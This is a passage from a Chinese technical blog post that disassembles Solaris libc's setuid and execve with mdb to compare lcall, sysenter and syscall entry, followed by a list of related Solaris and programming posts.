/dev/dsk/c0d0s7 25G 12G 13G 49% /export/home

# umount /lib/libc.so.1

# mdb /lib/libc.so.1 ---> 因为umount了,所以这时的libc是标准的libc
Loading modules: [ libc.so.1 ]
> setuid::dis
setuid: movl $0x17,%eax
setuid+5: lcall $0x27,$0x0
setuid+0xc: jb -0x807ac <__cerror>
setuid+0x12: xorl %eax,%eax
setuid+0x14: ret
> execve::dis
execve: movl $0x3b,%eax
execve+5: lcall $0x27,$0x0
execve+0xc: jb -0x7febc <__cerror>

可以看到,由于我的机器安装的是Solaris 10,而不是OpenSolaris,因此标准的libc库用的是lcall方式。
如果安装的是最新的OpenSolaris,上面的结果就是使用int $0x91了。
我们可以在/usr/lib/libc/目录下找到为AMD64和IA32硬件优化版本的libc库:
# mdb /usr/lib/libc/libc_hwcap1.so.1   ---> IA32兼容的优化版libc,使用的是快速系统调用sysenter
> setuid::dis
setuid: call +0x5
setuid+5: popl %edx
setuid+6: movl $0x17,%eax
setuid+0xb: movl %esp,%ecx
setuid+0xd: addl $0x10,%edx
setuid+0x13: sysenter
setuid+0x15: jb -0x80b55 <__cerror>
setuid+0x1b: xorl %eax,%eax
setuid+0x1d: ret
> execve::dis
execve: call +0x5
execve+5: popl %edx
execve+6: movl $0x3b,%eax
execve+0xb: movl %esp,%ecx
execve+0xd: addl $0x10,%edx
execve+0x13: sysenter
execve+0x15: jb -0x80185 <__cerror>

# mdb /usr/lib/libc/libc_hwcap2.so.1 ---> AMD64兼容的优化版libc,使用的是快速系统调用syacall
> setuid::dis
setuid: movl $0x17,%eax
setuid+5: syscall
setuid+7: jb -0x80347 <__cerror>
setuid+0xd: xorl %eax,%eax
setuid+0xf: ret
> execve::dis
execve: movl $0x3b,%eax
execve+5: syscall
execve+7: jb -0x7fde7 <__cerror>

Solairs的libc进入系统调用的一般情况就研究到这里。进一步的说明,请参考阅读笔记: x86系统调用入门 和阅读笔记:如何给OpenSolaris增加一个系统调用 。


Technorati Tag: OpenSolaris
Technorati Tag: Solaris

OracleT5-2 Solaris11安装 上传sol-11_3-repo.iso文件到/software文件夹下。如下图,输入5,回车,重启服务器,系统安装已完成。2、Solaris11软件包安装。如下图,在安装欢迎界面中,按。1、Solaris11安装。下图中,选择本地磁盘,按。如下界面中,安装完成后,选中需要的本地磁盘,按。如下图,修改时间后,按。选择自动配置网络,按。键盘设置界面中,选中。 阅读详情

相关推荐

在SOLARIS系统上使用NTP服务

配置SOLARIS的NTP服务1、查看是否安装了NTP软件包(默认是安装的),有下面两行则是已安装 # pkginfo | grep ntpsystem SUNWntpr NTP, (Root) system SUNWntpu NTP , (Usr)2、编辑配置文件ntp.conf #vi /etc/inet/ntp.conf server ip_132.118.64.25 prefer dr

dsg333的专栏 1万+

Solaris下如何自己定制二进制安装包

11.2 Solaris下如何自己定制二进制安装包 A: deepin  & scz  [root@ /tmp/tools]> mkdir srcroot [root@ /tmp/tools]> cp -p /usr/ccs/bin/as srcroot   [root@ /tmp/tools]> cp -p /usr/ccs/bin/make srcroot [root@ /t

mwx1234的专栏 585

在Solaris上安装MySQL

MySQL8.4支持Solaris 11.4及更高版本Solaris上的MySQL有多种不同的格式。tar要获得tarball或PKG格式的Solaris二进制MySQL发布版本,。在Solaris上安装和使用MySQL时需要注意的其他注意事项:1、如果要对mysql2、如果您在Solaris上使用二进制tarball发布安装MySQL,因为Solaris tar不能处理长文件名,请使用GNU tar(gtar)解压缩。3、您应该使用选项挂载任何打算存储InnoDB文件的文件系统。

zhuguoli200851的博客 777

Solaris下开发64位程序的注意事项

1. ABI(Application Binary Interface):在Intel或AMD体系结构下,32位Solaris程序基于i386 ABI,64位程序基于AMD64 ABI;在SPARC体系结构下,32位程序是基于SPARC V8 ABI,64位的程序基于SPARC V9 ABI。可以用以下命令查看当前Solaris平台支持特性: uname –a   查看操作系统版本 isainfo –v    查看操作系统支持的ABI isainfo –b    查看操作系统内核的位

icefireelf的专栏 2602

手把手教你用Simulink搭建级联H桥储能变流器仿真模型(附SOC均衡分析)

本文详细介绍了如何使用Simulink搭建级联H桥储能变流器仿真模型,并附有SOC均衡分析。从仿真环境准备、单相H桥单元建模到多模块级联方案和SOC均衡策略实现,逐步指导读者完成复杂系统的构建与优化。通过关键仿真结果分析和工程实践问题排查,帮助读者掌握级联H桥储能变流器的核心技术与应用方法。

weixin_42524226的博客 445

Dify视觉模型节点避坑指南:我用Qwen2.5-VL做OCR识别时踩过的3个坑(及解决方案)

本文分享了使用Dify平台和Qwen2.5-VL视觉模型进行OCR票据识别时遇到的三个常见问题及解决方案,包括文件变量传递、结构化输出和条件分支判断失效。通过实战经验,帮助开发者优化多模态模型在财务自动化中的应用,提升OCR识别精度和效率。

weixin_29284885的博客 403

Solaris指令查找手册

硬件系统:1、如何查看cpu的状态?                   # psrinfo -v# mpstat     可以列出多cpu负载的状态2、如何查看内存?                        # prtconf | grep Memory 可以查看内存的多少.# /usr/platform/sun4u/sbin/prtdiag3、如何动态添加swap分区?

cRyIng_gG的专栏 2078

c# 开发串口调试助手 Visual Studio 2019

串口调试助手是用于在开发、测试和调试串口通信应用程序时进行串口数据的监视和交互的工具。

2301_76792852的博客 8060

别再被跨域图片坑了!html2canvas.js 0.5.0-beta4 完整配置指南(附长图截取代码)

本文详细解析了html2canvas.js 0.5.0-beta4版本在处理跨域图片时的完整配置指南,包括useCORS、allowTaint和proxy的黄金组合策略。通过真实案例和代码示例,帮助开发者彻底解决跨域图片截取难题,并提供SPA长图截取的完整方案,显著提升开发效率和截图成功率。

weixin_30412167的博客 347

ST-LINK调试STM32H743必看:CubeMX工程中缺失的这行代码导致程序跑飞

本文深入剖析了使用ST-LINK调试STM32H743时,因CubeMX工程中缺失电源电压档位配置代码而导致程序跑飞或出现“Can not access memory”错误的问题。文章解释了H7系列电源与时钟耦合的核心原理,提供了具体的代码修复方案和系统化的调试排查思路,帮助开发者从根本上解决这一常见调试困境。

weixin_29191669的博客 281

【TestCenter】RFC2544时延测试

本文介绍了使用Spirent TestCenter测试路由器PPPOE时延的RFC2544标准方法。RFC2544定义了三种时延类型:转发时延(LILO)、存储转发时延(LIFO)和直通时延(FIFO)。文章详细说明了测试步骤,包括测试拓扑搭建、PPPOE环境配置、RFC2544测试任务创建等关键环节,并介绍了如何设置时延参数和查看测试报告。测试结果表明,大字节帧的时延高于小字节帧,且负载越高时延越大。该测试方法遵循国际标准,可全面评估网络设备在不同负载下的性能表现。

lai_2020的博客 1401

回忆Solaris_学习笔记2 [系统概念]

第一章:系统概念(System Concepts) Objectives Upon completion of this module, you should be able to Match the three parts of an operating system (kernel, shell, and file system) to their definitions Id...

编程开发资料库 82

基于Android平台下的健康管理APP/基于android的健康管理系统

随着网络科技的发展,移动智能终端逐渐走进人们的视线,相关应用越来越广泛,并在人们的日常生活中扮演着越来越重要的角色。因此,关键应用程序的开发成为影响移动智能终端普及的重要因素,设计并开发实用、方便的应用程序具有重要的意义和良好的市场前景。Android技术作为当前最流行的操作平台,自然也存在着大量的应用服务需求。 本课题研究的是基于Android技术平台的健康管理APP,开发这款健康管理APP主要是为了帮助用户可以不用约束时间与地点进行所需信息。本文详细讲述了健康管理APP的界面设计及使用,主要包括界面的

m0_73706453的博客 1437

SOLARIS 7 FAQ

Solaris常见问题解答 (FAQ) 2002-03-04 14:21发布者:fei 阅读次数:1234 Q:SOLARIS7为64位,是不是意味着我不能在以前的机器(32位)上使用呢? A:不是的,SOLARIS7仍然支持sun4c,sun4m,sun4d甚至sun4u体系的32位核心。 Q:关机前为什么一定要进行文件系统同步? A:如果有关机前未对磁盘做相应的

honeyoung的专栏 1145

学Simulink——基于直流电机的建模与控制场景实例:他励直流电机的起动与制动过程仿真

直流电机在工业控制、电动车辆、自动化设备中广泛应用。其中,他励直流电机(Separately Excited DC Motor)因其励磁绕组与电枢绕组分别供电,具有良好的调速性能和启动特性,常用于需要平稳启动和精确控制的场合。在实际应用中,电机的启动过程和制动过程对电网、机械系统以及电机本身都具有重要影响。因此,仿真分析他励直流电机的启动与制动特性,是电机控制设计的重要环节。本文将详细介绍如何使用构建一个他励直流电机的启动与制动过程仿真模型,并通过仿真分析其动态响应。本文详细介绍了如何使用构建一个。

xiaoheshang_123的博客 227

【头歌】链栈的基本操作及应用

另外,在算法的开始和结束时,栈都应该是空的,所以匹配到最后还要判断栈是否为空,若空,则说明匹配成功,返回1。其中表达式只包含三种括号,花括号{}、中括号[]、圆括号(),即它仅由 (、)、[、]、{、}六个字符组成。预期输出: 栈中元素依次为:12 47 5 8 6 92 45 63 75 38 4 29 弹出的栈顶元素 e=29 栈空否:0(1:空 0:否) 栈顶元素 e=4 栈的长度为11 清空栈后,栈空否:1(1:空 0:否)// 若栈不空,则用e返回S的栈顶元素,并返回OK;

qq_39977056的博客 4383

Solaris学习笔记

solaris root telnet. 踢用户, Using keyboard-interactive authentication. 可以Ping通但telnet不上

Reboot 4414

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

OpenLDAP学习笔记7——LDAP在Solaris10上的配置

本文已搬家至【LDAP学习】OpenLDAP学习笔记

gnuhpc的专栏 1804

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Solaris10、11操作命令汇总

服务管理 # svcs - report service status ## 显示所有服务状态 svcs -a 或 svcs ## 显示<服务>的依赖列表 svcs -d <服务> ## 显示依赖<服务>的其他服务列表 svcs -D <服务> ## 显示<服务>的PID svcs -p <服务> ## 显示<服务>的所有可用信息 svcs -l <服务> ## 显示<服务>的日志目

刘元林的博客 2288

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Solaris学习笔记(5)

Solaris学习笔记(5)作者: BadcoffeeEmail: blog.oliver@gmail.comBlog: http://blog.youkuaiyun.com/yayong2007年2月本文介绍使用kmdb和mdb调试Solaris内核的基本方法,kmdb和mdb是Solaris默认安装的内核模块调试器,可以用于调试和定位内核模块及驱动程序发生的错误。本文仅用于学习交流目的,错误再所难

新博客请访问- http://oliveryang.net 9617

VMware solaris 10 无法上网解决办法

<br /> <br />本人是想通过vmware中的solaris 10 实现上网,最终实现的是桥接方法。<br />以下为转载内容,简洁方便。<br />总结一下,以便和我一样新学习的朋友参考。。<br /><br /> 我用的是VMWARE5.5安装的SOLARIS 10,想在SOLARIS下上网。<br /><br /> 一、 首先把VMWARE改成桥接模式(这样配置更容易一些),我用是的WINDOWS XP操作系统,打开XP系统中物理网卡的属性,里面看到了 “VMware Bridge p

wangxk0723的专栏 1274

solaris 下ntp配置

<br />配置SOLARIS的NTP服务<br />solaris 配置 2009-12-24 16:07:11 阅读170 评论0  字号:大中小 订阅<br />1、查看是否安装了NTP软件包(默认是安装的),有下面两行则是已安装 # pkginfo | grep ntp<br />system SUNWntpr NTP, (Root)<br />system SUNWntpu NTP , (Usr)<br />2、编辑配置文件ntp.conf #vi /etc/inet/ntp.conf<br />

frenzy_G的专栏 1492
上一篇: 计算机科学与技术学习反思录(转载)
下一篇: DTrace即动态跟踪Dynamic Tracing
silvbb
博客等级 码龄21年 1粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值